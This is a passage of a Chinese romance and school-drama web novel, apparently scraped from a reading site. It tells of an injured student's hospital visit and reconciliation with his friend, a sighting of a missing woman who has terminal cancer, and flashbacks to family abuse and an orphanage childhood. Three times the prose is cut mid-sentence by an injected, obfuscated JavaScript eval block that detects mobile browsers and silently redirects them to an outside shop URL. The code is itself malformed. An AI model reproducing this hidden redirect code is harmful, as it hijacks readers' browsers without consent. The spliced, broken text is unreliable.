唯有李清依信以为真,面带忧色地看着他,轻声劝道:“舟哥,你还是让老师看看吧……” “咚”的一声巨响,半开的铁门被猛地撞开,沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171984|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泽许抱着陈温出现在门口。他径直将人抱到医务室靠墙的一排沙发上。 主任闻声望去,一看到陈温鲜血直流的膝盖,就止不住地揉起了眉心。 “这什么情况?”叶萧云惊讶地发问。 “摔了。”沈泽许言简意赅,目光始终没离开陈温的伤口。 主任立刻放弃了与林宇舟的“拉锯战”,转身拿起消毒用具,果断投入到新的“战场”,开始为陈温清理伤口。 “嘶——”钻心的疼痛让陈温倒抽一口冷气,腿猛地一缩。 “矫情!”主任习惯性地斥责了一句,不由分说地把他的腿拽回原位。 这个词让陈温瞬间沉默了。接下来的消毒,哪怕疼得他指尖发颤,他也硬生生忍住,不再吭声,只用紧咬的下唇承受着一波波的刺痛。 “我的乖乖……”李欣桐凑近一看,不禁咂舌,“你怎么搞成这样?” “没站稳,不小心摔的。”陈温从牙缝里挤出回答,试图让自己的声音听起来轻松些,尽管疼痛已经让他的脸色有些发白。 上课铃声打响,几个“没病没灾”的人立刻赶回了教室,医务室里只剩下沈泽许和陈温。 伤口已经处理完毕,陈温试着想从沙发上站起来,可膝盖传来的尖锐疼痛让他瞬间放弃,又认命般地坐了回去。 他忍不住在心里哀叹:这个学期来医务室的次数,简直比从幼儿园到初中加起来还要多,真是倒霉透顶…… 沈泽许向主任要了两张假条,找班主任签完字,现在回到了医务室。他蹲下身看了看陈温包扎好的膝盖,随即转过身,将后背留给他。 “我背你。” “不用,我能走!”陈温嘴硬,结果刚迈步就疼得龇牙咧嘴,姿势一瘸一拐。照这个速度,走到校门口怕是猴年马月了。 他只好无奈地伏上沈泽许的背。沈泽许一手拎起两人的书包,另一只手托住他,只是那落点有些微妙……为什么正好又是屁股…… 沈泽许似乎也意识到了,不动声色地将人向上颠了颠,手掌顺势下滑,稳稳地托住了他的大腿。 去医院的路途中,沈泽许一直在手机上安排各项事宜,陈温则无聊地看着窗外飞驰的街景。 他觉得自己真的没什么大事,回家躺一两天自然就好了,实在没必要这么兴师动众…… “要不……还是算了吧?”他试探着开口,“我觉得在家休息一下就行,不用特意跑趟医院的。” “不行。”沈泽许拒绝得干脆利落,没留任何商量余地。 “哦。”陈温应了一声,知道自己拗不过他,只好继续看着窗外发呆。 到了医院,两人做了一系列检查,阵仗大得让陈温差点以为自己不是膝盖擦伤,而是全身多处骨折了。 窗外的天色由晴转阴,恰如陈温此刻的心情,一路下沉。 检查结果终于出来了——仅仅是皮肤擦伤。 陈温看着报告单,一时哭笑不得。 看吧,果然是他自己太矫情了,才会觉得这么疼吧…… 他尝试让气氛轻松点,干笑两声,声音在空旷的走廊显得有点突兀: “哈哈,结果就是擦伤,感觉白折腾一趟,还花了那么多钱……” 沈泽许的目光从报告单上抬起,专注地看向他,语气平淡却不容置疑: “钱不重要。你没事就好。” 说完,他自然地伸出手,想去扶陈温的胳膊,声音放缓了些:“检查一下更放心。万一有骨裂呢?” 这句假设彻底点燃了陈温心里那点无处安放的烦躁和羞愧。他猛地甩开沈泽许的手,音量不自觉提高: “哪有那么多万一!在你眼里我就是个瓷娃娃对吧?摔一下就会碎?我说了我能行,不用你背,不用来医院,你听过吗?你从来都是按你自己的来!” “过度的关心就是控制!我不是你的所有物,沈泽许!” 沈泽许的手僵在半空,看着陈温因激动而泛红的脸颊和微微发红的眼圈,他的眉头蹙紧,语气也沉了下来: “所以呢?看着你疼,看着你一瘸一拐,我应该在旁边给你鼓掌,夸你坚强?” 这话像根淬了冰的针,精准地扎进了陈温最敏感的地方。 他感觉自己的坚持和那点可怜的自尊被彻底踩碎,混合着尴尬与委屈的情绪轰然爆发。 “对!我就是不懂好歹!我就不该让你管我!”他声音带着颤,转身就想走,可膝盖的伤让他动作一滞,显得那决绝的背影格外狼狈。 沈泽许一把抓住他的手腕,力道很大,不容他挣脱。 男生逼近一步,把人抱在怀里,声音沙哑: “对不起,我错了……我没能拉住你……我是个‘胆小鬼’。” 52. 找人 最后那三个字,像一根尖刺,扎破了陈温内心所有鼓胀的委屈和愤怒。 沈泽许“专制”的背后,藏着的是这样的恐惧和自责。他那些关于“控制”的指控,此刻显得多么可笑和伤人。 陈温愣了片刻,随即回抱住沈泽许,在他的背后轻轻拍抚,像在安抚一只受惊的大型动物。 “不是的,”他声音也软了下来,带着浓浓的鼻音,“你不是胆小鬼。是我自己没站稳,不关你的事。” 他感觉到沈泽许抱得更紧了。 “你别这样说自己……我……我刚刚说的都是气话,你别当真。”陈温把脸埋在他肩头,闷声说,“我让你管,以后都让你管,行不行?” 沈泽许没有立刻回答,只是将下巴轻轻抵在他的发顶,过了好一会儿,才说:“什么都可以吗?” “当然了!” 走廊里斜照进来的阳光,将两人相拥的影子拉得很长。光线中,细微的尘埃静静漂浮。 先前所有的争吵与尖锐,都在这个无声的拥抱里融化、消散了。 “我们定一个‘安全词’吧。”陈温忽然提议道。 “安全词?”沈泽许微微偏头,下颌蹭过他的发丝。 “就是……以后我们要是再吵架,不管吵得多凶,谁先说出这个词,我们就必须立刻停战。不准再提这件事,彼此先冷静下来。” “好,听你的。定什么词?”沈泽许应着,手指有一搭没一搭地绕着他的头发。 “嗯……‘小鸭子排队’怎么样?”陈温眼睛一转,冒出个主意。 “这又是什么说法?”沈泽许挑眉。 “因为小鸭子很调皮啊,它们才不会乖乖站队呢,睡觉的时候总爱东倒西歪地压着别的鸭子。所以,‘小鸭子排队’就等于‘对不齐’,就是‘对不起’的谐音梗!”陈温认真地解释,带着点小得意。 沈泽许被他这奇妙的联想逗得轻笑出声:“你怎么知道这么多?” “这还多啊?”陈温嘿嘿一笑,彻底打开了话匣子,“我小时候住在爷爷奶奶家,他们有一次弄来一箱子小鸭子,毛茸茸的,可爱是可爱,就是半夜总‘叽叽喳喳’开大会,吵得我好几次都睡不着。” “它们还特别会‘越狱’,从箱子里翻出来满院子跑,我那时候胆子小,看着它们扑腾翅膀都不敢抓回去,后来就……” 陈温讲得眉飞色舞,仅存的那点别扭情绪,早就在这琐碎而温暖的童年回忆里烟消云散了。 他越讲越投入,松开了抱着沈泽许的手,连说带比划起来。 沈泽许一边听着,一边收拾着长椅上的书包,面上没有一丝敷衍或嫌弃,反而眉眼柔和,一副听得很感兴趣的样子,就这样耐心地听陈温讲完了童年那些小小的趣事。 “回去了,走吧。”沈泽许单肩背起陈温那个耐脏的黑色书包,手里提着自己那只有明显logo、主体偏白的包。 陈温看着有点难以理解——明明自己的包才是为了耐脏买的,沈泽许那个看起来更贵、更不耐脏的包,才应该好好背在身上吧? 不过,不得不承认,沈泽许这样随意拎着包的样子,确实挺帅的。 只是,那白色的书包底部已经蹭到了地面。 “你不把包背起来吗?”陈温忍不住指着那拖地的书包问。 “没事,你的包轻,背着方便。”沈泽许说着,还用肩掂了掂,证明似的。 陈温眼尖,立刻指着书包侧面一块蹭脏了的地方:“……那里好像脏了。” “那是以前就有的。”沈泽许没法睁着眼睛说瞎话,便这样答道。 “真的吗?” “不然呢?”沈泽许挑眉,一副“这有什么好大惊小怪”的表情。 医院的走廊格外空旷,只有零星几人靠在冰凉的长椅上小憩。 陈温也懒得再跟沈泽许在书包的事情上掰扯。他瞥了一眼手机,发现时间已经不早了,学校那边午休应该都快结束了。 现在赶回去,或许还能勉强赶上下午第一节数学课。对于高三生来说,任何一节课都很重要,耽误不起。 “快走吧,”他拽了拽沈泽许的袖子,语气里带上了催促。 无意间,陈温朝走廊尽头的窗外看去,外面已飘起淅淅沥沥的雨点。 糟糕,他们没带伞。 就在这时,一个身影从走廊尽头快步走过。那人戴着口罩和鸭舌帽,一身深色衣服,头发散在一边。 陈温的瞳孔骤然放大。他难以置信地揉了揉眼睛,心脏随着那人每一次的移动,跳动一分。 虽然那人从头到脚包裹得密不透风,看不清任何样貌。 但是那走路的姿态,那转瞬即逝的侧影轮廓,以及一股说不清道不明的熟悉感,共同拧成一股强烈的信号击中陈温——就是那个人,他的直觉不会错! 眼看那人就要离开视线,他焦急地松开沈泽许。若不是膝盖传来尖锐的疼痛,他恨不得立马追上去。 “沈泽许,你看到了吗?”陈温问。 沈泽许顺着他看的方向望去,却只看到一个模糊的背影消失在转角。 “什么?” “江夏!是江夏!”陈温抓住他的手臂,语速飞快,“就是好久之前和我们一起吃过烧烤的那个女生,你还记得吗?” “嗯,”沈泽许点头,神色凝重起来,“怎么了?” “在那边!我绝对没看错!”陈温指着那个方向,声音因激动而发颤,“我要去看看!” 可受伤的膝盖根本不允许他快步行走。他只能扶着墙壁,艰难地向前挪动。 沈泽许见状,皱着眉上前搀扶住他。 两人走到走廊尽头,视野开阔起来,却不见那个身影的半点踪迹。 即使如此,陈温心里仍抱着一丝渺茫的希望,不想就这样放弃。他侧头看向沈泽许,带着恳求:“我们再找一会儿,我没看错,就一会儿,好不好?” 沈泽许看了眼时间,又看了看男生焦急的脸,最终让步:“我叫车。车来之前是最后的机会,找不到就必须走。” “好!”陈温连忙答应,只要能多争取一点时间。 再三叮嘱陈温小心膝盖后,两人分头寻找。 时间一分一秒过去,伤口的疼痛愈发清晰,汗水沿着额角滑落。 陈温咬紧牙关,目光却锐利如鹰隼,扫过每一个角落:空无一人的护士站,紧闭的诊室门,冰冷的长椅底下,甚至垃圾桶旁散落的传单。 每一次希望抬起,又在看清后迅速落下,摔成更为焦虑的情绪——没有一丝属于那个深色身影的踪迹。 就在焦灼几乎要凝成实体,堵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171985|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住喉咙的时候,陈温猛地顿住——陆晚枝! 他怎么会忘了她? 像溺水者终于想起手边还有一根浮木,他几乎是慌不忙地掏出手机,拨通了陆晚枝的号码。 电话响了很久,每一声“嘟”都让陈温的心更沉一分。 他不死心,又快速重拨了一次。这次,在提示音快要结束时,电话终于被接通了。 “喂,怎么了吗?陈温。”陆晚枝的声音从听筒里传来,背景音很吵杂,女生的声线带着明显的疲惫,“我刚刚在开会,手机开了静音。” “我好像……看到江夏了,”陈温半天才组织好语言,语气带着不确定和懊恼,“但是她走得太快了,我追过去就没影了,没找到……” 话还没完全说完,他的目光像是被什么无形的东西猛地拽住,下意识地、几乎是本能地,朝着安全通道的方向瞥去。 门缝里,是另一个被切割出的、更幽暗的世界。 就在那片明暗交界的光影里,他捕捉到了! 江夏背对着门的方向,鸭舌帽的帽檐压得很低,但口罩确实松垮地挂在一边耳上。 她面前,一个身量很高的男生挡住了她大半身影,只能看到他紧绷的下颌线和因激动而微微起伏的肩膀。 男生的手抬起,似乎想抓住什么,又克制成一个紧握的拳头,无声的愤怒几乎要透出门缝。 “等等……我看到她了!”陈温激动地低语,正要上前。 电话那头,沉默了许久的陆晚枝,却在这时淡淡地开口,平静得像一潭深水:“对了,有件事没告诉你……江夏,她现在有男朋友了。我们……就别去打扰了。” 这句话像一记无声的闷雷,炸得陈温耳边嗡嗡作响。他抬起的脚步,就这样硬生生地钉在了原地。 ……什么意思? 一声不吭地消失,音讯全无,然后……就去过自己的新生活了? 那个曾经让陆晚枝失魂落魄、让他们也跟着揪心寻找,担心的人,如今得到的第一个确切消息,竟然就是这个? 陈温支吾着,半天说不出话来。想到陆晚枝在那段日子里所有的难过和等待,一股强烈的不值便涌上心头,堵得难受…… 可他有什么立场呢?一个旁观者,连质问的资格都没有。 如果离开是为了追寻幸福,那么找到新的伴侣,或许也是一种幸福吧。他管不了,也无力去评判什么。 就这样吧。他最终,只能对自己这样说道。 正巧,沈泽许的消息发了过来,简洁地告诉他,没找到人,车已经到了,让他发个定位好过来接他。 陈温看着屏幕上的信息,又抬眼看着前方那幅画面——两人之间只是一种沉默的、似乎带着情绪的对峙,那个男生并没有任何伤害江夏的举动。 他大概就是陆晚枝口中江夏的“男朋友”了吧。 陈温隔着一段距离看着,尽管心情复杂,但不得不承认,客观地说,两人外形上很像,颇有点“郎才女貌”的意思。 或许,真的就像陆晚枝说的,那已经是别人的生活了。他深吸一口气,做出了决定。 快速给沈泽许回复了定位信息,然后,默默挂断了和陆晚枝的通话。 他没有再往前,也没有再看,转身,朝着沈泽许会来的方向,慢慢挪动脚步。 53. 她(一) “姐……” 男生的声音在昏暗的安全通道里响起,压抑着愤怒与恐慌,“是不是我不来找你,你就打算一直瞒着,直到……直到悄无声息地消失?” 墙角的紧急出口指示灯,泛着幽绿的微光,那个奔跑的小人图案,无声地映在两人脚边。 得不到任何回应,男生胸中的怒气与无力感交织翻涌,他握紧了拳头,指节泛白,死死盯着眼前沉默如石的人。 江夏始终低眉,长长的睫毛遮住了所有情绪,眸光空洞,仿佛一潭早已枯竭的死水。 她的沉默,比任何辩驳都更让人心慌。 “如果不是今天我陪朋友来医院,碰巧听到医生的话……”男生的声音开始发抖,“你是不是真打算一个人……自己扛到死?为什么不告诉我们?为什么不告诉我?!” “江尘……”江夏终于开口,声音低哑得几乎听不见,像用尽全身力气。 “别叫我!”男生猛地打断她,积蓄已久的情绪如同决堤的洪水,“我们到底算什么?家人?还是陌生人?!” “为什么出了这么大的事,你宁愿一个人躲起来等……都不肯告诉我们一声?我们找了你多久……你知不知道我们找你找得都快疯了?!” 面对弟弟几乎崩溃的质问,江夏的肩膀微微颤抖,仿佛最后一点支撑也被抽走。她张了张嘴,最终只吐出三个苍白无力的字: “……对不起。” 话音一出,两人都陷入了死寂。 江夏那句轻飘飘的“对不起”,像一把生锈的钝刀,反复割扯着江尘的神经。他烦躁地扒了扒头发,胸口堵得几乎无法呼吸。 他的姐姐,胃癌晚期……这么重的担子,她竟然选择一个人扛,一声不吭地消失。 而作为弟弟的他,竟然直到现在,在如此偶然的情况下,才触碰到这残酷真相的边缘。 那他现在知道,又有什么用呢? 来得及吗? “我说过会保护好姐姐的……” 儿时的这句诺言,如今像一句失效的咒语,反噬回来,让他感到前所未有的无力和窒息。 江尘的思绪被拽回从前那个闷热的早晨—— “你又窝在那儿画画!我饿了你不知道吗?”母亲不耐烦的声音像一道惊雷,劈开屋内的宁静,“一天到晚就知道吃吃吃,家务活一样不沾!总指望我伺候你,以后哪个男人肯要你这种懒货?” 江夏正趴在地上,用半截破旧彩铅的斑驳笔尖,小心地为画纸上的小人上色。 她闻声抬起头,看了眼墙上的挂钟,小声辩解:“可是……妈妈,还没到饭点啊,地板我刚刚才拖过……” “说你两句就顶嘴!翅膀硬了是吧,还说不得你了?”江母抱着手臂,居高临下地俯视着地上那个瘦小的身影。 “我没有顶嘴……” “还敢顶?!” 母亲越说越气,弯腰脱下脚上的塑料凉鞋,眼看就要抽过去。 一旁玩遥控小汽车的江尘,目睹这一幕,吓得连忙抓起手边的小饼干罐,跌跌撞撞地跑到母亲腿边,笨拙地举高:“妈妈……吃、吃饼干,不气……” 方才还气势汹汹的母亲,此刻却如同川剧变脸,瞬间眉开眼笑。 她接过江尘手里的小饼干,弯腰摸了摸他的头,连声夸赞:“还是我们小尘懂事、听话,知道心疼妈妈。不像某些人……” 她意有所指地瞥向地上的江夏,后者始终沉默着,仿佛没听见那些话语,拾起彩铅,继续在画纸上涂抹。 江母见江夏竟毫无反应,依旧沉浸在自己的世界里,脸色又沉了下来。 她直起身,用不容置疑的命令口吻道: “江夏,别画了。去厨房,把昨晚剩的南瓜饭热一下。” “……哦。”江夏动作顿了一下,低低应了一声。她小心地收起画纸和那半截彩铅,撑着她站起身,乖顺地转身走向厨房。 江夏热好饭,刚端上桌,母亲又忙不迭地指派新的活计:“发什么呆?阳台上的衣服还没收呢,收完了赶紧把碗洗了,水池都堆满了!” 就这样,热饭、晒衣、洗碗……一条无休止的家务链条栓住了她。 等终于忙完,母亲也早已梳洗打扮好,拎着小包,“风风光光”的出门打牌去了,留下一片狼藉。 江夏走到桌边,发现那盘南瓜饭已被母亲吃得精光,锅里连一粒米都没剩下。 她打开冰箱,里面空荡荡的,除了半瓶酱,什么菜也没有。 而她身上,一分钱也没有。 姐弟俩从中午到傍晚,没吃任何东西,胃袋里只有不断泛起的酸水。 直到天色擦黑,早出工作的父亲带着一身疲惫推开了家门。 江父叼着半截烟,一把掀开餐桌上用来防苍蝇的竹编罩子,底下空空如也。 “饭呢?!菜呢?!”他吼了一声,声音里满是疲惫积累的暴躁。 弟弟在房间写作业,江夏在一旁继续画早上没完成的那张画。听到怒吼,两人动作皆是一僵。 江夏放下画笔,迟疑地拉开房门,手里还捏着那截短短的彩铅。她低着头,声音细如蚊蚋:“……妈没留钱,买不了菜。” “她人哪去了?”江父拧起眉头,烟灰簌簌往下掉。 “打……打牌去了……” “鬼打她!”江父瞬间暴怒,将烟头狠狠摁在桌上,“老子在外面累死累活挣那点钱,她倒好,拿去牌桌上赌!” 他的怒火无处发泄,矛头一转,直指站在门边的人。 “还有你!天天窝在家里画这些鬼画符有什么用?!看看人家李文国家的闺女,早早就出去打工补贴家用了!你读那几本书能当饭吃?!” 江夏把头埋得更低了。她读书确实不好,一翻开书本就思绪涣散。 说真的,要不是年纪还没到,她恨不得立刻离开这个家,出去打工养活自己…… 但在那之前,她仍想挣扎着证明,自己并非父亲口中的“好吃懒做”。 “我没有……”她试图辩解,声音微弱。 “还敢顶嘴!”江父将在工地上积攒的怨气尽数倾泻,他猛地夺过江夏手中那截短得可怜的彩铅,狠狠摔在地上! “啪嗒”一声轻响。 那截本就断过的彩铅,再次断裂,碎成了几截,滚落在脚边。 江夏平常可以忍气吞声,可以默默承受所有的指责和忽视。 但这一刻,地上那几截断裂的、曾是她贫瘠世界里唯一色彩和慰藉的彩铅,成了压垮她的最后一根稻草。 就在江父盛怒之下似乎要进一步动作时,江尘像颗小炮弹一样从房间里冲了出来,毫不犹豫地张开双臂,挡在了江夏身前。 “不许欺负我姐姐!”江尘张开双臂,像一只护崽的小兽,稚嫩的嗓音带着不容退让的坚决。 “反了你了!我还是你老子呢!滚开!”江父的权威受到挑战,怒气更盛。 “不让!”江尘梗着脖子,寸步不移。 “这是我的家!你吃的穿的用的,哪一样不是老子辛辛苦苦挣来的?别以为你是我儿子,老子就不敢揍你……要不是给你治病家里会那么穷吗?”江父指着江尘的鼻子,唾沫横飞地咆哮。 江夏站在弟弟身后,听着父亲口中一遍遍强调的“我的家”、“我买的”,每一个字都像烧红的针,扎进她早已不堪重负的神经。 最后那根紧绷的弦,“啪”地一声断了。 在父亲震耳欲聋的咆哮和弟弟倔强的对峙中,她猛地转身,拉开门,头也不回地冲进了外面沉沉的暮色里。 “有种就别回来!” 这是她冲出家门后,灌入耳中的最后一句话。 这是江夏第一次离家出走。她什么也没拿,像多年后她真正离开那个家时,也是如此。 她漫无目的地在暮色中走着,身体像一具被抽走了灵魂的空壳,无悲无喜,无怒无怨,只是机械地移动。 街道上人来人往,灯火渐次亮起,勾勒出温暖的家的轮廓。 她看到被父母牵着手的孩子,看到笑闹着的一家三口,看到并肩而行的朋友……没有一个像她一样,独自游荡在黄昏里,像个被世界遗弃的孤魂。 热闹是他们的,她什么都没有。 目光落在川流不息的马路上,一个疯狂的念头毫无预兆地、尖锐地刺入江夏麻木的脑海。 她像被什么牵引着,一步步挪向斑马线的边缘。 可是……江尘怎么办? 这个念头如同一盆冰水,瞬 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“没事了,不过以后不要再没看红绿灯,横穿马路了。” 江夏心里那根紧绷的弦莫名松了些,看着孩子委屈又后怕的小脸,她竟觉得有点像自己弟弟。 她蹲下身,平视着孩子,“姐姐带你一起过马路,等绿灯亮了再走,好不好?” “好~”小男孩抽了抽鼻子,乖乖把手递给她。 刚目送小男孩安全离开,江夏就听到一阵熟悉的、带着哭腔的呼喊由远及近: “姐姐!姐姐!” 她抬起头,看见江尘正跌跌撞撞地跑过来,小脸上蹭着灰,衣服也脏了几块。 “别跑那么快!小心摔着!”江夏下意识地喊道,伸手想去接他。 江尘一口气冲到姐姐面前,紧紧抓住她的衣角,仰着脸,眼圈红红地说:“姐,你没事吧?跟我回家好不好……” “我……”江夏看着弟弟担心的样子,心一下子就软了,可话还没出口,目光不经意扫过江尘的脖颈——那里空荡荡的,原本该挂着妈妈买给他的长命锁! 她的心猛地一沉。那锁江尘从小戴到大,从未离身。 要是弄丢了……母亲绝对不会轻饶,而最终的责任,很可能又会落到她这个“没看好弟弟”的姐姐头上。 一阵熟悉的恐慌瞬间攫住了她。 “你长命锁呢?”江夏急忙问。 江尘笑了笑,献宝似的从口袋里掏出那枚小小的银锁,只是下面的链子断开了。 “在这儿呢!刚刚跑得太急摔了一跤,这个不小心扯断了……” 看到锁没丢,只是断了,江夏悬着的心终于落地,长长舒了口气:“还好没丢在外面……回家用胶水粘一下就好了。”她摸了摸弟弟的头,声音轻了些,“只要没丢就好,不然妈妈又要怪我了。” “我说过会保护好姐姐的!” 江尘挺起小胸膛,语气是孩子式的郑重其事,“如果爸爸妈妈再打你,我就挡在你前面!那个彩笔……我以后攒钱给你买新的!我的压岁钱都给姐姐管,都给姐姐花!我们回家吧,姐姐?” 江夏看着他亮晶晶的、充满恳求与保护欲的眼睛,心里那块坚冰仿佛被这稚嫩的暖意融化了一角。 为什么还是决定回家呢? 江夏想,或许是因为江尘还太小,太天真。他不曾真正体会过她所承受的那些冷眼与苛责,因为父母所有的暖意和耐心,似乎都给了这个儿子。 但他又是知道的。 他知道姐姐会疼,会在挨骂时低下头,会在彩铅被折断时红了眼眶。 所以他会笨拙地帮忙分担家务,会用自己的方式挡在她面前,会把“保护姐姐”当成一项无比重要的使命。 “家”这个地方,真的很奇怪。 它有时像一座密不透风的牢笼,有时又因为一个人的存在,而生出一丝可以喘息的缝隙。 只要有江尘在……只要他还需要她,还那样笨拙地想要保护她,那么,回到那个并不温暖的屋檐下,似乎也变得可以忍受了。 她蹲下身,平视着弟弟:“真的吗?” “真的!骗人是小狗!” 54. 她(二) 当时的江尘,听到江夏说她刚刚带一个陌生小男孩过马路,还牵了人家的手,自己闷闷不乐了好一会儿——姐姐都很少主动牵他的手呢。 而那个生闷气的小江尘,似乎已经很隔得遥远了。 江夏紧闭着双唇,仿佛已将所有的力气耗尽,不愿再思考,也无力再辩解。 江尘盯着她看了半晌,冷不丁开口:“是因为钱吗?” 江夏的肩膀几不可察地绷紧了一瞬,依然没有抬头,没有否认。 不需要更多的言语,江尘已经明白自己猜中了最残酷的核心。 — 夕阳西下,家家户户燃着灯火,厨房的饭菜香隐约可闻。 “咔哒”一声轻响,门开了,灯也亮起,钥匙和礼盒被随手撇在门口的木质鞋柜上。 几乎同时,大少不知从哪个角落窜了出来,颠着小碎步,用毛茸茸的爪子殷勤地扒拉陆晚枝的裤脚,仿佛那垂落的布料是它专属的大型猫爬架。 陆晚枝笑了一下,弯腰,将粘人的猫咪抱了起来,轻轻放在鞋柜上暂时安置。 自己则趁这机会,赶紧踢掉磨脚的高跟鞋,解放出酸痛的双脚。 公司里有同事出差回来,给部门每个人都带了一份包装精致的马卡龙,一盒四个,颜色娇嫩,看起来就让人很有食欲。 甜甜的东西,陆晚枝不大爱吃。这习惯或许要追溯到童年——她小时候在孤儿院长大——说得好听些,是儿童福利院。 院里的孩子多,资源却紧巴巴的。 糖果、饼干这些奢侈的甜食,平常根本吃不到。日常的饭菜,多是一些便宜的素菜,偶尔才能见到一小勺点缀其中的肉末。 甜味,对她而言,是记忆中遥远且匮乏的符号,而非愉悦的享受。 陆晚枝不爱吃甜的,并非天生如此。 八岁那年,一场意外夺走了她幸福的家庭,父母双亡的噩耗让她瞬间坠入冰窟。甜蜜的童年,连同对甜食的眷恋,似乎都凝固在了那个破碎的夏天。 因为生得漂亮,她那时被领养过三次,却又三次被“退回”。 每一任领养家庭给机构的反馈都大同小异:这孩子“养不熟”,性格孤僻,几乎不与人交流,像个漂亮却冰冷的瓷娃娃。 接连的否定和辗转,让她更加紧闭心门,将所有的情绪与需求,都深深埋进了沉默的土壤里。 过来领养的家庭,大多偏爱年纪更小、更像白纸一样的孩子,觉得更容易培养感情。 陆晚枝年龄渐长,性格又显沉闷,被选中的机会变得越来越渺茫。 就在她自己都快要放弃,认命在福利院这样长大成人的时候,转机却猝不及防地降临——一位在福利院做过义工的中学老师,决定领养她。 听到这个消息,陆晚枝第一反应是茫然。 她甚至不记得这位老师的模样,对方为什么要领养一个“不讨喜”的大孩子? 跟着院长来到接待室,她看见一位衣着朴素、面容慈和的妇人正朝她温和地笑着,还朝她挥了挥手。 那笑容过于直白、友善,反而让习惯隐藏情绪的陆晚枝更加不知所措,只能僵硬地站在原地。 跟着这位陌生的“新妈妈”回家的路上,妇人似乎努力想打破沉默,一直问她一些听起来很“平常”却又让她不知如何作答的问题。 “晚枝,什么时候过生日啊?” “喜不喜欢粉色的东西?” “饿不饿啊?” …… 每一个问题都让陆晚枝感到一种陌生的、让人想要退缩的关怀,但她还是都回答了。 一进新家门,一个戴着夸张大胡子搞笑眼镜的“怪大叔”突然蹦出来,企图吓她一跳。 陆晚枝没被这蹩脚的恶作剧吓到,反倒是养母又气又笑地追着大叔拍打:“胡闹!把孩子吓着了怎么办?!” 看着这略显滑稽的场面,一向以“高冷”为名的陆晚枝嘴角不自觉弯了弯,说:“没关系,我没被吓到。” 养母这才停手,嗔怪地瞪了那人一眼,暂时不理他。陆晚枝猜想,这位举止搞怪的“大叔”,应该就是她的养父了。 接着,养母热情地拉着她参观,仔仔细细地介绍属于她的新房间、准备好的崭新洗漱用品……事无巨细,讲得口干舌燥。 直到养父在厨房喊“开饭啦”,这场“导览”才暂告段落。 尽管第一印象有些“不靠谱”,但养父的厨艺却出奇地好,陆晚枝的好手艺也是从他那里学来的。 也学会了抓住了江夏的胃,捂热了她的心,却没留住一个想走的人。 那一顿饭,是陆晚枝很久以来,吃过最温暖而踏实的饱足。 饭后,养父母还特意送给她一个造型可爱的、猪猪侠同款的棒棒糖,说是欢迎礼物。 说真的,陆晚枝已经快四年没尝过糖的味道了。 她小心翼翼地拆开包装,怀着一种近乎神圣的期待将它含进嘴里。 然而,预想中那种能点亮味蕾的感觉并没有降临。 糖只是甜的,一种普通的、甚至有些单薄的味道。 那一刻,心里翻涌的更多是养父母给予的、沉甸甸的暖意,而非糖本身。 或许是从那一刻起,陆晚枝对“甜”这种东西,就彻底失去了孩童般热切的渴望。 甜,不再是一种稀缺的奖赏,也不再能带来纯粹的惊喜。 但江夏特别喜欢吃甜的东西。 她喜欢看到江夏因为一颗糖而眼睛发亮、眉眼弯弯的样子…… 然后,日子就在养父母无微不至的照料下,被粗线条地勾勒过去——她顺利上了高中,在那里遇到了那个“她”;再然后,养母病逝,深情的养父不久也随她而去;接着,她上了大学,然后…… 陆晚枝掐断了思绪,不愿再想。 记忆是蜜糖,也是淬了毒的匕首。 那些曾给予她温暖的人,终究都像指缝间的流沙,没有谁能真正为她停留。 往后的日子,大概就这样了吧,一人一猫,在无尽的“然后”里,安静地走下去。 恍惚间,屋外传来钥匙转动门锁的声响。 这个方向的动静,她猜是陈温回来了,可转念一想,小弟今天不是不上晚自习吗? 怀着这点疑惑,陆晚枝放下思绪,拿起桌上那个精致的马卡龙礼盒——与其放在自己这里闲置,不如做个顺水人情。 她打开房门,准备去看看,如果是陈温,正好把这份甜点送出去。 隔壁的门缝下透出焦黄的灯光。她敲了两下门,里面立刻传来陈温那熟悉的、明朗好听的声音:“来了来了!” 但陆晚枝隐约觉得有点奇怪——脚步声似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171987|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比一个人要重些。 门从里面被打开,陈温顶着一头明显跑动过、有些乱糟糟的头发出现在门口,脸上带着惯常的笑容,只是仔细看,似乎混合着一丝不易察觉的……慌乱? 他身后还站着一个人,也是个男生,高挑清俊。陆晚枝记性不错,认出这是陈温的同学,姓沈。 “晚上好啊,”陈温下意识地挠了挠后脑勺,笑得有点过于灿烂,“晚枝姐,今天这么早就回来了啊……” 陆晚枝“嗯”了一声,怕直接给东西显得突兀,便随口编了个理由:“同事出差带了些马卡龙回来,我吃不完,给你们拿点尝尝。” 